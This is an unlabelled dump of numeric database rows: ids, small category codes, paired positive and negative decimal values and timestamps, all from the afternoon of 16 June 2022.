+60967,4,14890,3.290068178,-3.290068178,2022-06-16 14:46:17.515211+00 +57811,6,14464,2.852118365,-2.852118365,2022-06-16 14:32:58.935151+00 +61089,7,14895,14.09948562,-14.09948562,2022-06-16 14:46:49.884342+00 +54636,6,13738,5.007244923,-5.007244923,2022-06-16 14:18:58.180952+00 +58233,3,14507,4.32174085,-4.32174085,2022-06-16 14:34:49.077763+00 +61554,6,14976,2.537062335,-2.537062335,2022-06-16 14:48:39.556308+00 +55012,6,14126,3.411042016,-3.411042016,2022-06-16 14:21:01.336398+00 +55052,2,14126,2.532231173,-2.532231173,2022-06-16 14:21:05.296853+00 +61661,3,14971,3.246711847,0,2022-06-16 14:48:57.852609+00 +58584,4,14622,4.793331471,-4.793331471,2022-06-16 14:36:08.543781+00 +58585,4,14638,1.290981292,-1.290981292,2022-06-16 14:36:08.547596+00 +58586,4,14576,0.60542339,0,2022-06-16 14:36:08.548678+00 +58587,4,14592,1.038542213,-1.038542213,2022-06-16 14:36:08.549464+00 +58613,1,14570,1.848849478,-1.848849478,2022-06-16 14:36:18.030912+00 +55277,6,14205,1.479831715,-1.479831715,2022-06-16 14:22:18.600818+00 +55302,4,14040,7.960454936,-7.960454936,2022-06-16 14:22:27.250099+00 +55314,1,14175,6.137717952,-6.137717952,2022-06-16 14:22:35.950533+00 +55315,1,14191,1.929798904,-1.929798904,2022-06-16 14:22:35.953918+00 +55404,6,14191,3.535970036,-3.535970036,2022-06-16 14:23:01.54084+00 +62006,6,15019,1.500316375,0,2022-06-16 14:50:09.535574+00 +58950,3,14570,4.10707044,-4.10707044,2022-06-16 14:37:59.483887+00 +55508,2,14206,2.24364151,-2.24364151,2022-06-16 14:23:09.570276+00 +55530,2,14174,7.070909543,-7.070909543,2022-06-16 14:23:10.018687+00 +62136,6,14890,3.887621274,-3.887621274,2022-06-16 14:50:41.253885+00 +59062,4,14634,3.576353376,-3.576353376,2022-06-16 14:38:17.089391+00 +59248,2,14702,1.835713909,-1.835713909,2022-06-16 14:39:06.148151+00 +55675,6,14192,1.740915081,0,2022-06-16 14:24:05.892632+00 +59281,2,14635,2.906878185,-2.906878185,2022-06-16 14:39:14.566556+00 +55720,7,13994,4.080524576,-4.080524576,2022-06-16 14:24:14.238387+00 +55736,6,14239,10.03846917,-10.03846917,2022-06-16 14:24:15.538157+00 +59308,4,14617,7.470631444,-7.470631444,2022-06-16 14:39:39.545611+00 +55764,6,14271,2.994813991,-2.994813991,2022-06-16 14:24:16.3633+00 +59309,4,14641,8.048704794,-8.048704794,2022-06-16 14:39:39.549202+00 +55771,7,14127,18.18782281,-18.18782281,2022-06-16 14:24:20.749837+00 +55834,6,14269,1.463961981,-1.463961981,2022-06-16 14:24:37.695493+00 +59594,1,14720,0.763181296,-0.763181296,2022-06-16 14:40:45.107714+00 +59595,1,14712,7.287065831,-7.287065831,2022-06-16 14:40:45.111028+00 +59596,1,14704,0.454906622,0,2022-06-16 14:40:45.11188+00 +59623,6,14688,10.87969238,-10.87969238,2022-06-16 14:40:54.088225+00 +62566,1,15134,4.611932829,-4.611932829,2022-06-16 14:52:09.17499+00 +62567,1,15151,1.078022494,-1.078022494,2022-06-16 14:52:09.176012+00 +59702,7,14634,3.444642102,-3.444642102,2022-06-16 14:41:06.496077+00 +52655,4,13632,1.190295325,-1.190295325,2022-06-16 14:06:07.819341+00 +56570,3,14335,6.421852342,-6.421852342,2022-06-16 14:28:04.83122+00 +56571,3,14399,6.373191428,-6.373191428,2022-06-16 14:28:04.834897+00 +56802,2,14367,7.621974747,-7.621974747,2022-06-16 14:29:07.019115+00 +53173,6,13759,3.195479544,-3.195479544,2022-06-16 14:08:46.385767+00 +64356,6,15358,2.868077245,-2.868077245,2022-06-16 14:58:16.364123+00 +53254,2,13727,8.163625754,-8.163625754,2022-06-16 14:09:05.5902+00 +53319,4,13664,5.563846284,-5.563846284,2022-06-16 14:09:57.127023+00 +56972,7,14382,17.19155636,-17.19155636,2022-06-16 14:29:26.017889+00 +53491,2,13822,2.266500047,-2.266500047,2022-06-16 14:11:05.614499+00 +53705,1,13855,6.344118587,-6.344118587,2022-06-16 14:12:32.820182+00 +53706,1,13871,2.228029546,-2.228029546,2022-06-16 14:12:32.824405+00 +53707,1,13887,1.670536059,-1.670536059,2022-06-16 14:12:32.825411+00 +57305,6,14400,2.892277574,-2.892277574,2022-06-16 14:30:50.789454+00 +53964,6,13901,10.61983231,-10.61983231,2022-06-16 14:14:22.147364+00 +57517,4,14377,7.690689419,-7.690689419,2022-06-16 14:31:48.933835+00 +54028,1,13852,11.58854819,-11.58854819,2022-06-16 14:14:47.894491+00 +54029,1,13868,11.94180387,-11.94180387,2022-06-16 14:14:47.897692+00 +54030,1,13873,4.968538607,-4.968538607,2022-06-16 14:14:47.898472+00 +54031,1,13884,11.63401227,-11.63401227,2022-06-16 14:14:47.89928+00 +54032,1,13865,4.511224915,-4.511224915,2022-06-16 14:14:47.899989+00 +54033,1,13849,4.560671361,-4.560671361,2022-06-16 14:14:47.90067+00 +60945,4,14861,11.95840923,-11.95840923,2022-06-16 14:46:12.895847+00 +60946,4,14877,5.088448567,-5.088448567,2022-06-16 14:46:12.899064+00 +57745,3,14443,4.420093398,-4.420093398,2022-06-16 14:32:47.831057+00 +60947,4,14909,1.679984339,-1.679984339,2022-06-16 14:46:12.899856+00 +54375,2,13999,2.872821704,-2.872821704,2022-06-16 14:17:05.772225+00 +57933,6,14378,4.42580249,-4.42580249,2022-06-16 14:33:36.723796+00 +58412,6,14591,3.097834601,-3.097834601,2022-06-16 14:35:19.39616+00 +61555,1,14972,10.32097092,-10.32097092,2022-06-16 14:48:42.168139+00 +61556,1,14963,10.21239111,-10.21239111,2022-06-16 14:48:42.171526+00 +61557,1,14940,10.29459391,-10.29459391,2022-06-16 14:48:42.172349+00 +61558,1,14956,10.55150434,-10.55150434,2022-06-16 14:48:42.173149+00 +61559,1,14939,5.367438247,-5.367438247,2022-06-16 14:48:42.173927+00 +55142,4,14057,8.129526246,-8.129526246,2022-06-16 14:21:50.04749+00 +55143,4,14041,8.199805997,-8.199805997,2022-06-16 14:21:50.050872+00 +58687,1,14623,5.859132438,-5.859132438,2022-06-16 14:36:33.057177+00 +55281,4,14131,8.094001777,-8.094001777,2022-06-16 14:22:22.23021+00 +55282,4,14091,13.54623808,-13.54623808,2022-06-16 14:22:22.234335+00 +55283,4,14123,0.741358387,-0.741358387,2022-06-16 14:22:22.235488+00 +55284,4,14107,3.924211226,-3.924211226,2022-06-16 14:22:22.236436+00 +55285,4,14139,0.669444774,-0.669444774,2022-06-16 14:22:22.238834+00 +55339,1,14207,1.655212603,-1.655212603,2022-06-16 14:22:38.925296+00 +59063,7,14638,15.1329716,-15.1329716,2022-06-16 14:38:18.478292+00 +55463,1,14140,11.34379005,-11.34379005,2022-06-16 14:23:02.972222+00 +55465,1,14124,11.60473985,-11.60473985,2022-06-16 14:23:02.975901+00 +55466,1,14165,10.2856479,-10.2856479,2022-06-16 14:23:02.976783+00 +55510,2,14190,2.491991929,-2.491991929,2022-06-16 14:23:09.598012+00 +62089,2,15021,2.752026371,0,2022-06-16 14:50:24.451281+00 +62105,1,15004,10.23830672,-10.23830672,2022-06-16 14:50:33.145725+00 +62106,1,15036,10.23092975,-10.23092975,2022-06-16 14:50:33.147013+00 +62107,1,15035,0.671668293,0,2022-06-16 14:50:33.147771+00 +62108,1,15020,10.47741696,-10.47741696,2022-06-16 14:50:33.148506+00 +62139,6,15053,10.1008998,-10.1008998,2022-06-16 14:50:42.162793+00 +55631,6,14270,3.056411453,-3.056411453,2022-06-16 14:24:03.399821+00 +62169,6,15040,2.513242087,-2.513242087,2022-06-16 14:50:50.44544+00 +59523,4,14667,13.27117978,-13.27117978,2022-06-16 14:40:21.597678+00 +55705,4,14208,1.12920559,-1.12920559,2022-06-16 14:24:10.216956+00 +55706,4,14270,1.477402212,-1.477402212,2022-06-16 14:24:10.221456+00 +55707,4,14238,4.962999397,-4.962999397,2022-06-16 14:24:10.222512+00 +55708,4,14254,1.59551693,-1.59551693,2022-06-16 14:24:10.223685+00 +55709,4,14271,1.353661922,-1.353661922,2022-06-16 14:24:10.224818+00 +55710,4,14239,5.17865172,-5.17865172,2022-06-16 14:24:10.225838+00 +55711,4,14205,1.875439463,-1.875439463,2022-06-16 14:24:10.226896+00 +55712,4,14189,0.698222489,0,2022-06-16 14:24:10.227862+00 +55713,4,14173,5.652948832,-5.652948832,2022-06-16 14:24:10.228804+00 +55714,4,14157,12.39236289,-12.39236289,2022-06-16 14:24:10.229643+00 +59524,4,14584,9.304236454,-9.304236454,2022-06-16 14:40:21.600987+00 +55746,4,14186,4.101956353,-4.101956353,2022-06-16 14:24:15.748779+00 +59598,6,14765,0.524042776,0,2022-06-16 14:40:47.064648+00 +59624,7,14703,15.12553769,-15.12553769,2022-06-16 14:40:54.131713+00 +59699,2,14783,2.24213503,-2.24213503,2022-06-16 14:41:06.194484+00 +59700,2,14697,9.049574559,-9.049574559,2022-06-16 14:41:06.197959+00 +59701,2,14705,9.764425837,-9.764425837,2022-06-16 14:41:06.198982+00 +55926,2,14254,2.391934466,-2.391934466,2022-06-16 14:25:05.884513+00 +52087,1,13525,11.14017203,-11.14017203,2022-06-16 14:02:59.811501+00 +52088,1,13466,10.31498752,-10.31498752,2022-06-16 14:02:59.812902+00 +52089,1,13490,10.55692581,-10.55692581,2022-06-16 14:02:59.813738+00 +52090,1,13459,7.842420216,-7.842420216,2022-06-16 14:03:02.842413+00 +52553,4,13432,7.252719828,-7.252719828,2022-06-16 14:05:35.642592+00 +52656,1,13662,5.251381074,-5.251381074,2022-06-16 14:06:08.840091+00 +52097,2,13504,3.627170249,-3.627170249,2022-06-16 14:03:05.084052+00 +52098,2,13465,11.42100907,-11.42100907,2022-06-16 14:03:05.087336+00 +52099,2,13466,11.26246407,-11.26246407,2022-06-16 14:03:05.088094+00 +52100,2,13481,11.2944711,-11.2944711,2022-06-16 14:03:05.088815+00 +52101,2,13482,3.014652214,-3.014652214,2022-06-16 14:03:05.089541+00 +52102,2,13489,12.13225675,-12.13225675,2022-06-16 14:03:05.09037+00 +52103,2,13490,11.50768841,-11.50768841,2022-06-16 14:03:05.091195+00 +53174,1,13719,14.27538045,-14.27538045,2022-06-16 14:08:47.816616+00 +60877,6,14941,4.139437788,-4.139437788,2022-06-16 14:46:04.811763+00 +52112,2,13550,3.051534688,-3.051534688,2022-06-16 14:03:05.311994+00 +60938,1,14958,1.054983964,-1.054983964,2022-06-16 14:46:12.147349+00 +60939,1,14880,3.911799592,-3.911799592,2022-06-16 14:46:12.148612+00 +52115,2,13534,7.429115322,-7.429115322,2022-06-16 14:03:05.372159+00 +60940,1,14942,4.687272815,-4.687272815,2022-06-16 14:46:12.149399+00 +60941,1,14912,0.743712769,-0.743712769,2022-06-16 14:46:12.150148+00 +60942,1,14974,1.488572657,-1.488572657,2022-06-16 14:46:12.150938+00 +53965,4,13851,4.030026865,-4.030026865,2022-06-16 14:14:23.380358+00 +53966,4,13875,8.349723586,-8.349723586,2022-06-16 14:14:23.384345+00 +53967,4,13867,0.821922877,-0.821922877,2022-06-16 14:14:23.385562+00 +53968,4,13835,13.61311195,-13.61311195,2022-06-16 14:14:23.386442+00 +52123,2,13535,8.191965458,-8.191965458,2022-06-16 14:03:05.57462+00 +53969,4,13883,0.748776032,-0.748776032,2022-06-16 14:14:23.387374+00 +53998,1,13919,6.332290807,-6.332290807,2022-06-16 14:14:26.870349+00 +52127,2,13551,3.089747702,-3.089747702,2022-06-16 14:03:05.663563+00 +54034,1,13888,0.874676441,-0.874676441,2022-06-16 14:14:50.892719+00 +57934,4,14391,10.14455228,-10.14455228,2022-06-16 14:33:36.984433+00 +57935,4,14519,10.11147031,-10.11147031,2022-06-16 14:33:36.988787+00 +57936,4,14199,10.07854907,-10.07854907,2022-06-16 14:33:36.990767+00 +52133,2,13566,2.374953319,-2.374953319,2022-06-16 14:03:05.813582+00 +54316,6,13952,3.354810779,-3.354810779,2022-06-16 14:16:46.670823+00 +57937,4,14327,10.04578772,-10.04578772,2022-06-16 14:33:36.991722+00 +61017,6,14912,2.42672314,-2.42672314,2022-06-16 14:46:23.611541+00 +54425,6,13864,25.41595275,-25.41595275,2022-06-16 14:17:15.5864+00 +52138,2,13567,2.371835207,-2.371835207,2022-06-16 14:03:05.931841+00 +54426,6,13928,25.34175549,-25.34175549,2022-06-16 14:17:15.589814+00 +54469,3,14015,6.061299468,-6.061299468,2022-06-16 14:18:04.333255+00 +52142,6,13354,5.335222072,-5.335222072,2022-06-16 14:03:06.918284+00 +61037,1,14943,5.708997811,-5.708997811,2022-06-16 14:46:27.140262+00 +54512,4,14046,5.030424933,-5.030424933,2022-06-16 14:18:09.873246+00 +54513,4,13998,1.854042475,-1.854042475,2022-06-16 14:18:09.876677+00 +54514,4,14062,1.850725324,-1.850725324,2022-06-16 14:18:09.877641+00 +54515,4,14078,1.386188411,-1.386188411,2022-06-16 14:18:09.878567+00 +61038,1,14959,1.262014612,-1.262014612,2022-06-16 14:46:27.141554+00 +61039,1,14975,1.649358019,-1.649358019,2022-06-16 14:46:27.142498+00 +61065,2,14890,1.929590594,-1.929590594,2022-06-16 14:46:35.089831+00 +52151,2,13483,3.997539163,-3.997539163,2022-06-16 14:03:14.474811+00 +52156,2,13499,3.705547211,-3.705547211,2022-06-16 14:03:14.583292+00 +52157,4,13400,7.935507278,-7.935507278,2022-06-16 14:03:18.711037+00 +54915,6,14059,2.267093216,-2.267093216,2022-06-16 14:20:16.598527+00 +54946,7,13999,18.69315997,-18.69315997,2022-06-16 14:20:25.924922+00 +52163,6,13418,5.310322414,-5.310322414,2022-06-16 14:03:25.761165+00 +58589,6,14637,0.53027427,0,2022-06-16 14:36:11.157649+00 +58734,6,14560,11.32211815,-11.32211815,2022-06-16 14:36:52.515735+00 +55189,3,14143,6.378869497,-6.378869497,2022-06-16 14:22:04.207494+00 +55250,4,14128,0.615593066,0,2022-06-16 14:22:13.230562+00 +55251,4,14206,1.491765867,-1.491765867,2022-06-16 14:22:13.231916+00 +55252,4,14174,4.964595139,-4.964595139,2022-06-16 14:22:13.232676+00 +55253,4,14190,1.659651511,-1.659651511,2022-06-16 14:22:13.233551+00 +55254,4,14144,1.136502657,-1.136502657,2022-06-16 14:22:13.234446+00 +55255,4,14109,5.700453269,-5.700453269,2022-06-16 14:22:13.235266+00 +55256,4,14093,12.4421955,-12.4421955,2022-06-16 14:22:13.235984+00 +55257,4,14125,0.699813073,0,2022-06-16 14:22:13.236608+00 +55258,4,14141,1.887415236,-1.887415236,2022-06-16 14:22:13.237271+00 +55259,4,14175,5.22207114,-5.22207114,2022-06-16 14:22:13.237861+00 +52182,7,13482,4.839677554,-4.839677554,2022-06-16 14:03:27.761838+00 +52183,4,13464,7.912790764,-7.912790764,2022-06-16 14:03:27.887486+00 +55260,4,14207,1.375109541,-1.375109541,2022-06-16 14:22:13.238575+00 +55261,4,13973,6.914671399,-6.914671399,2022-06-16 14:22:13.23922+00 +55278,1,14206,1.497770435,-1.497770435,2022-06-16 14:22:20.929278+00 +55279,1,14190,1.668007906,-1.668007906,2022-06-16 14:22:20.93051+00 +55280,1,14174,4.979619092,-4.979619092,2022-06-16 14:22:20.93116+00 +52189,6,13482,5.269252795,-5.269252795,2022-06-16 14:03:43.226956+00 +55286,1,14120,14.17613056,-14.17613056,2022-06-16 14:22:23.927037+00 +55303,4,14099,5.497033564,-5.497033564,2022-06-16 14:22:29.36797+00 +55317,6,14174,9.070532997,-9.070532997,2022-06-16 14:22:38.154058+00 +62093,1,15101,2.901882024,-2.901882024,2022-06-16 14:50:30.169212+00 +62094,1,15069,8.133090912,-8.133090912,2022-06-16 14:50:30.17244+00 +62095,1,15085,1.172654195,0,2022-06-16 14:50:30.173299+00 +62127,1,15001,3.862083707,-3.862083707,2022-06-16 14:50:36.140912+00 +62128,1,15026,9.017664108,-9.017664108,2022-06-16 14:50:36.142149+00 +52554,1,13589,11.08887993,-11.08887993,2022-06-16 14:05:38.838442+00 +60140,3,14779,3.23958976,0,2022-06-16 14:42:54.388442+00 +56805,2,14382,2.32729246,-2.32729246,2022-06-16 14:29:07.07556+00 +64235,3,15358,7.639193666,-7.639193666,2022-06-16 14:58:04.940854+00 +52214,4,13481,9.013387972,-9.013387972,2022-06-16 14:03:53.643148+00 +53175,1,13743,2.250489494,-2.250489494,2022-06-16 14:08:50.815002+00 +52218,4,13465,9.089304663,-9.089304663,2022-06-16 14:03:56.01218+00 +52219,4,13489,9.746128459,-9.746128459,2022-06-16 14:03:56.01583+00 +60663,2,14832,1.899139676,0,2022-06-16 14:45:05.290372+00 +53494,2,13823,2.253209798,-2.253209798,2022-06-16 14:11:05.67482+00 +53617,3,13870,8.571170391,-8.571170391,2022-06-16 14:12:05.714845+00 +53785,2,13871,2.950601425,-2.950601425,2022-06-16 14:13:05.231887+00 +54035,1,13874,10.17483064,-10.17483064,2022-06-16 14:14:53.893046+00 +54036,1,13850,9.855068929,-9.855068929,2022-06-16 14:14:53.896531+00 +54037,1,13875,10.950048,-10.950048,2022-06-16 14:14:53.897424+00 +54038,1,13851,5.588937371,-5.588937371,2022-06-16 14:14:53.898276+00 +54096,1,13843,7.681117631,-7.681117631,2022-06-16 14:15:11.893841+00 +57879,2,14526,2.251471127,-2.251471127,2022-06-16 14:33:06.123561+00 +52240,3,13567,6.408943895,-6.408943895,2022-06-16 14:04:04.473203+00 +52241,3,13631,6.363942411,-6.363942411,2022-06-16 14:04:04.477173+00 +54251,2,13933,3.015145144,-3.015145144,2022-06-16 14:16:19.468792+00 +54268,4,13907,5.618284789,-5.618284789,2022-06-16 14:16:29.300511+00 +54318,6,13981,4.682409298,-4.682409298,2022-06-16 14:16:47.591167+00 +61332,3,14896,3.194994033,0,2022-06-16 14:47:49.304566+00 +54589,6,14046,9.212822653,-9.212822653,2022-06-16 14:18:31.304088+00 +58367,2,14507,3.053224855,-3.053224855,2022-06-16 14:35:14.457267+00 +58591,6,14653,1.396123502,-1.396123502,2022-06-16 14:36:13.142618+00 +52263,1,13598,5.27972517,-5.27972517,2022-06-16 14:04:05.854127+00 +58954,3,14546,22.52300643,-22.52300643,2022-06-16 14:38:00.849778+00 +55341,6,14144,3.151463315,-3.151463315,2022-06-16 14:22:38.955741+00 +62202,6,14992,25.78144917,-25.78144917,2022-06-16 14:51:02.089188+00 +55386,6,14056,25.07487056,-25.07487056,2022-06-16 14:22:56.943238+00 +55387,6,14120,25.00020144,-25.00020144,2022-06-16 14:22:56.946415+00 +59018,1,14651,0.734768763,-0.734768763,2022-06-16 14:38:09.033016+00 +59019,1,14635,0.890229318,-0.890229318,2022-06-16 14:38:09.034372+00 +55447,3,14122,4.794771452,-4.794771452,2022-06-16 14:23:02.696675+00 +52282,3,13614,8.739957864,-8.739957864,2022-06-16 14:04:06.445558+00 +59109,6,14702,2.475857716,-2.475857716,2022-06-16 14:38:36.661613+00 +55486,3,14098,22.52685339,-22.52685339,2022-06-16 14:23:04.362383+00 +59152,3,14651,3.388239927,-1.660349109,2022-06-16 14:38:52.066673+00 +52287,3,13551,8.002636805,-8.002636805,2022-06-16 14:04:06.561036+00 +52288,3,13615,7.949745539,-7.949745539,2022-06-16 14:04:06.564603+00 +59217,2,14656,3.129119431,-3.129119431,2022-06-16 14:39:05.423882+00 +59218,2,14617,9.253468986,-9.253468986,2022-06-16 14:39:05.427442+00 +59219,2,14642,10.72976936,-10.72976936,2022-06-16 14:39:05.428299+00 +62507,3,15103,6.884811586,-6.884811586,2022-06-16 14:52:04.208202+00 +59459,4,14669,12.07904316,-12.07904316,2022-06-16 14:40:12.621646+00 +59460,4,14701,0.668522678,0,2022-06-16 14:40:12.624778+00 +59461,4,14717,1.732037941,-1.732037941,2022-06-16 14:40:12.625643+00 +52304,6,13614,4.140134035,-4.140134035,2022-06-16 14:04:08.178829+00 +59462,4,14685,5.244043877,-5.244043877,2022-06-16 14:40:12.626447+00 +59463,4,14783,1.360989505,-1.360989505,2022-06-16 14:40:12.627319+00 +59464,4,14767,1.164750423,-1.164750423,2022-06-16 14:40:12.628089+00 +59525,4,14699,0.568062918,-0.568062918,2022-06-16 14:40:22.986333+00 +52310,6,13615,4.302870814,-4.302870814,2022-06-16 14:04:08.326347+00 +59526,4,14683,3.749546018,-3.749546018,2022-06-16 14:40:22.989782+00 +59527,4,14707,7.579388652,-7.579388652,2022-06-16 14:40:22.990665+00 +52314,6,13630,3.270873938,-3.270873938,2022-06-16 14:04:08.425428+00 +62568,7,15086,12.28284001,-12.28284001,2022-06-16 14:52:09.274622+00 +55927,2,14255,2.437057285,-2.437057285,2022-06-16 14:25:05.887787+00 +59601,6,14781,1.362402082,-1.362402082,2022-06-16 14:40:48.89366+00 +55948,2,14203,3.047391938,-3.047391938,2022-06-16 14:25:14.587167+00 +62672,6,15167,2.84139619,-2.84139619,2022-06-16 14:52:26.200721+00 +52660,6,13653,6.310153875,-6.310153875,2022-06-16 14:06:10.336759+00 +56689,6,14320,1.713013994,0,2022-06-16 14:28:28.746351+00 +52332,6,13631,3.328977423,-3.328977423,2022-06-16 14:04:08.723696+00 +56710,4,14291,5.399332838,-5.399332838,2022-06-16 14:28:31.413039+00 +53068,4,13461,7.382072568,-7.382072568,2022-06-16 14:08:14.59047+00 +53069,4,13653,7.360188342,-7.360188342,2022-06-16 14:08:14.5944+00 +64361,1,15359,1.640744853,-1.640744853,2022-06-16 14:58:18.224808+00 +53176,6,13392,27.88991784,-27.88991784,2022-06-16 14:08:50.940422+00 +53177,6,13456,27.8278348,-27.8278348,2022-06-16 14:08:50.943963+00 +53178,6,13520,27.76543574,-27.76543574,2022-06-16 14:08:50.944842+00 +64362,1,15274,1.36756298,-1.36756298,2022-06-16 14:58:18.228314+00 +64363,1,15326,4.542114092,-4.542114092,2022-06-16 14:58:18.229156+00 +53322,3,13758,6.956639601,-6.956639601,2022-06-16 14:10:03.960319+00 +53415,2,13741,3.224027065,-3.224027065,2022-06-16 14:10:24.433029+00 +57390,2,14395,2.826929543,-2.826929543,2022-06-16 14:31:14.565887+00 +61171,2,14943,7.259185793,-7.259185793,2022-06-16 14:47:05.648417+00 +54039,4,13792,5.543055258,-5.543055258,2022-06-16 14:14:59.316488+00 +54252,4,13939,8.292549144,-8.292549144,2022-06-16 14:16:20.770811+00 +54269,1,13928,14.28617431,-14.28617431,2022-06-16 14:16:29.869545+00 +61483,1,15006,4.661096447,-4.661096447,2022-06-16 14:48:12.182155+00 +54517,6,14029,10.57840653,-10.57840653,2022-06-16 14:18:12.959639+00 +58307,2,14512,1.911805303,0,2022-06-16 14:35:05.215496+00 +61484,1,15022,1.017004403,-1.017004403,2022-06-16 14:48:12.185607+00 +61718,2,15023,1.557663844,-1.557663844,2022-06-16 14:49:06.241824+00 +58592,4,14557,5.355815922,-5.355815922,2022-06-16 14:36:13.371332+00 +58593,4,14573,0.675572777,0,2022-06-16 14:36:13.374859+00 +58594,4,14541,12.14153293,-12.14153293,2022-06-16 14:36:13.37576+00 +58595,4,14589,1.759970089,-1.759970089,2022-06-16 14:36:13.376554+00 +58596,4,14655,1.380862325,-1.380862325,2022-06-16 14:36:13.377336+00 +58597,4,14639,1.277058129,-1.277058129,2022-06-16 14:36:13.378138+00 +58598,4,14623,4.983928611,-4.983928611,2022-06-16 14:36:13.379061+00 +58599,4,14549,6.483264411,-6.483264411,2022-06-16 14:36:13.379747+00 +58624,1,14571,0.917540627,-0.917540627,2022-06-16 14:36:21.031885+00 +58625,1,14587,0.782681577,-0.782681577,2022-06-16 14:36:21.033039+00 +58653,4,14547,5.259382389,-5.259382389,2022-06-16 14:36:28.994757+00 +59153,1,14611,7.368426462,-7.368426462,2022-06-16 14:38:54.076609+00 +55588,6,14122,4.731521397,-4.731521397,2022-06-16 14:23:41.576796+00 +55598,4,14105,8.110777513,-8.110777513,2022-06-16 14:23:49.534778+00 +59221,2,14686,6.756447961,-6.756447961,2022-06-16 14:39:05.458674+00 +59286,2,14651,2.287999449,0,2022-06-16 14:39:14.675405+00 +59425,3,14703,5.874721911,-5.874721911,2022-06-16 14:40:06.861319+00 +55786,2,14189,2.558207313,0,2022-06-16 14:24:24.457749+00 +55799,6,14203,1.982421625,-1.982421625,2022-06-16 14:24:28.378132+00 +55802,1,14271,1.683638796,-1.683638796,2022-06-16 14:24:29.928752+00 +59498,7,14767,15.44364384,-15.44364384,2022-06-16 14:40:15.319962+00 +59528,1,14749,8.333053067,-8.333053067,2022-06-16 14:40:24.081646+00 +59529,1,14765,1.173478781,0,2022-06-16 14:40:24.085296+00 +59530,1,14781,2.963648823,-2.963648823,2022-06-16 14:40:24.086248+00 +59557,1,14697,3.992956399,-3.992956399,2022-06-16 14:40:30.084334+00 +59558,1,14706,9.331517166,-9.331517166,2022-06-16 14:40:30.085532+00 +55878,3,14186,4.65626017,-4.65626017,2022-06-16 14:25:02.841679+00 +55888,2,14192,1.909811089,0,2022-06-16 14:25:05.05437+00 +59559,1,14681,4.036205372,-4.036205372,2022-06-16 14:40:30.0863+00 +59560,1,14682,9.698569411,-9.698569411,2022-06-16 14:40:30.087128+00 +55917,2,14239,7.683714396,-7.683714396,2022-06-16 14:25:05.652774+00 +59561,1,14698,1.745788119,-1.745788119,2022-06-16 14:40:30.087766+00 +59562,1,14705,4.383029464,-4.383029464,2022-06-16 14:40:30.08837+00 +59583,1,14675,7.342430205,-7.342430205,2022-06-16 14:40:33.082222+00 +62508,2,15026,10.34774859,-10.34774859,2022-06-16 14:52:05.09368+00 +62569,4,15088,0.642605317,0,2022-06-16 14:52:10.296462+00 +62570,4,15134,4.582152306,-4.582152306,2022-06-16 14:52:10.300092+00 +62571,4,15166,1.495175088,-1.495175088,2022-06-16 14:52:10.301024+00 +62572,4,15150,0.824265102,-0.824265102,2022-06-16 14:52:10.301875+00 +62573,4,15104,1.123631951,-1.123631951,2022-06-16 14:52:10.302758+00 +62600,4,15059,5.037544984,-5.037544984,2022-06-16 14:52:17.572176+00 +62602,6,15125,4.937984679,-4.937984679,2022-06-16 14:52:19.34592+00 +53070,4,13674,4.740418173,-4.740418173,2022-06-16 14:08:15.854948+00 +52340,4,13630,1.587638255,-1.587638255,2022-06-16 14:04:09.361293+00 +52341,4,13598,5.257829284,-5.257829284,2022-06-16 14:04:09.364575+00 +52342,4,13614,2.035251131,-2.035251131,2022-06-16 14:04:09.365581+00 +52343,4,13568,1.205394423,-1.205394423,2022-06-16 14:04:11.10042+00 +52344,4,13549,1.06535938,-1.06535938,2022-06-16 14:04:11.103789+00 +52345,4,13517,12.85507801,-12.85507801,2022-06-16 14:04:11.10462+00 +52346,4,13565,1.830785386,-1.830785386,2022-06-16 14:04:11.105493+00 +52347,4,13615,1.933842316,-1.933842316,2022-06-16 14:04:11.106262+00 +52348,4,13533,6.190161052,-6.190161052,2022-06-16 14:04:11.107157+00 +52349,4,13599,5.572235812,-5.572235812,2022-06-16 14:04:11.108065+00 +52350,4,13631,1.468362148,-1.468362148,2022-06-16 14:04:11.108827+00 +52351,1,13614,2.04422856,-2.04422856,2022-06-16 14:04:11.811843+00 +52352,4,13333,7.856316361,-7.856316361,2022-06-16 14:04:12.877093+00 +53179,6,13408,14.00679414,-14.00679414,2022-06-16 14:08:51.061888+00 +53180,6,13472,13.9366998,-13.9366998,2022-06-16 14:08:51.065101+00 +53181,6,13536,13.867034,-13.867034,2022-06-16 14:08:51.065964+00 +64599,2,15327,7.27807819,-7.27807819,2022-06-16 14:59:06.013459+00 +57049,3,14462,7.348783256,-7.348783256,2022-06-16 14:30:03.778222+00 +53416,1,13822,1.501966837,-1.501966837,2022-06-16 14:10:26.843408+00 +52361,1,13547,1.318872326,-1.318872326,2022-06-16 14:04:14.811349+00 +52362,1,13563,1.215186769,-1.215186769,2022-06-16 14:04:14.814792+00 +52363,4,13546,4.848989481,-4.848989481,2022-06-16 14:04:17.264191+00 +52364,1,13599,6.580812363,-6.580812363,2022-06-16 14:04:17.810286+00 +52365,1,13546,2.612464317,-2.612464317,2022-06-16 14:04:17.81187+00 +52366,1,13630,1.591833449,-1.591833449,2022-06-16 14:04:17.812901+00 +52367,1,13591,14.40408596,-14.40408596,2022-06-16 14:04:20.811873+00 +52368,1,13631,1.776513707,-1.776513707,2022-06-16 14:04:20.813198+00 +52369,1,13615,2.328561441,-2.328561441,2022-06-16 14:04:20.814+00 +52370,4,13515,13.77952571,-13.77952571,2022-06-16 14:04:21.999013+00 +52371,4,13555,8.656668868,-8.656668868,2022-06-16 14:04:22.00033+00 +52372,4,13563,0.851606583,-0.851606583,2022-06-16 14:04:22.001153+00 +52373,4,13547,0.924860898,-0.924860898,2022-06-16 14:04:22.001924+00 +52374,4,13531,4.121300215,-4.121300215,2022-06-16 14:04:22.002778+00 +52375,1,13544,14.44058911,-14.44058911,2022-06-16 14:04:23.812483+00 +53417,1,13790,5.135446684,-5.135446684,2022-06-16 14:10:26.846798+00 +64695,6,15248,25.33256324,-25.33256324,2022-06-16 14:59:24.682153+00 +53559,6,13600,13.37857059,-13.37857059,2022-06-16 14:11:39.937306+00 +53560,6,13664,13.31289692,-13.31289692,2022-06-16 14:11:39.941252+00 +52380,2,13549,3.235853618,-3.235853618,2022-06-16 14:04:24.423768+00 +52381,4,13523,5.848829377,-5.848829377,2022-06-16 14:04:30.017596+00 +53561,6,13728,13.24763032,-13.24763032,2022-06-16 14:11:39.942258+00 +53713,3,13803,5.292421499,-5.292421499,2022-06-16 14:12:35.255314+00 +52386,3,13547,5.647022334,-5.647022334,2022-06-16 14:04:30.651726+00 +57391,4,14240,5.286684235,-5.286684235,2022-06-16 14:31:15.591641+00 +54040,1,13856,4.261250894,-4.261250894,2022-06-16 14:14:59.895309+00 